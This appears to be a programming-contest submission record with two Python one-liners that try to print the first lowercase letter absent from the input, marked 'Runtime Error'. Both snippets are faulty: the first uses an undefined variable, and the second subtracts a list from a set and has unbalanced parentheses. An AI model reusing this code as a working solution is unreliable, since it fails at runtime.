print(("None" if not x else x[0])(sorted(set(chr(97+i) for i in range(26))-set(input())))

Submission status: Runtime Error

Solution code:
print((lambda x:"None" if not x else x[0])(sorted(set([chr(97+i) for i in range(26)]-list(input()))))))